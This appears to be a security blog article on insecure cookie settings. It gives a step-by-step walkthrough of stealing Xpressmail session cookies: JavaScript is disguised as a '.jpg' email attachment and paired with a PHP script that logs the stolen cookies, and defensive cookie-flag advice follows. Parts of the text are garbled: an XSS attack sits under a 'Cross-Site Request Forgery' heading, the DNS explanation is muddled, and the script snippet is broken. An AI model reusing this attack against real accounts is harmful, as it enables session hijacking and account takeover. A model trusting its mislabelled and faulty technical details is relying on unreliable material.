Insecure Cookies

This vulnerability is created when a developer fails to designate authentication cookies as secure. That means Web browsers are free to send authentication cookies over an insecure http channel. By doing this, hackers are able to cache all DNS responses and monitor hostnames that use port 443 and connect to one of the domain names stored there. This allows the hacker to inject images from insecure (non-https) portions of the protected Website in order to get the browser to send the authentication cookie.

4 Types of Insecure Cookies
1. Insecure cookies:  If the cookie transport security is not set up properly, the hacker can
   access sensitive information stored in those cookies, regardless if the Web application 
   uses SSL.  The attacker can then gather sensitive data stored in those cookies.
2. Persistent session handling cookies:  When a session handling cookie is set persistently,
   it allows the cookie to be valid even after a user terminates a session. Therefore an 
   attacker can use a session cookie stored in the text file by the browser to access 
   restricted information.
3. Cacheable Cookies:  Such Cookies could be cached at a proxy or gateway.  It can result in 
   serving cookie value that is out of date or stale.
4. Cookies with the HTTPOnly attribute not set:  If the HTTP-Only attribute is not set, then
   the cookie can be accessed and manipulated in the script.  The sensitive information 
   contained in the cookie can be sent to a hacker’s computer or Website using a script.

Cross-Site Request Forgery

There are only a few ways an attacker can have their URL of choice executed by the user. A link that is sent to the user via an instant message or e-mail, or a malicious file that calls the user when it is loaded (an attachment or malicious Web server). However, in this case the only way the URL will have any affect is if the user is logged into their Xpressmail account. This presents an obstacle that is ironically overcome by the program itself.

As mentioned in the previous blog posts, all attachments are rendered in the browser. As a result, if a user opens an attachment with an .html, .htm, or .jpg (IE ONLY) extension, any JavaScript in the file will be executed.

Step 1: Targeting

This script will be used to steal the cookie information and forward it to another server. The code and the technique are very similar to what I showed you earlier in XSS cookie theft section. For this we will create a file name mypics.jpg so that it doesn’t look suspicious and insert the following code into the .jpg and emailed it to a victim’s account.

var cookie=document.cookie; 
document.write(“<img src=”+cookie+”>”); 
<img src=> 

Step2: Attack Execution

Email the script as an attachment. Once the email recipient clicks on the mypics.jpg link, Internet Explorer will process the image as an HTML file, execute the JavaScript, and output the results.

On the side, there is a simple script to capture the get request and store the cookie details in a file.

$myFile = “cingular.txt”; 
$fh = fopen($myFile, ‘a’) or die(“can’t open file”); 
$cookie = $_GET [‘cookie’]; 
fwrite ($fh, $cookie); 
fclose ($fh); 

The result of the test is a valid cookie that can be used to log into the targets account:


Insecure Cookies: For security of sensitive information, cookies must be marked as secure and only be transmitted if the communications channel with the host is a secure one. Servers should use SSL in this case.

HTTPOnly Cookies: To avoid access and manipulation of cookies in the script, the HTTPOnly attribute should be set for the cookie.

Cacheable Cookies: If the cookie is intended for use by a single user (for private documents), the Set-cookie header should not be cached. To suppress caching of the Set-Cookie header, the origin server should send Cache-control: no-cache="set-cookie" response header.

Persistent Cookies: A Cookie that’s used to store session-id information should not be persistent. The Cookie max age attribute or expiration should be set so it’s valid for that session only.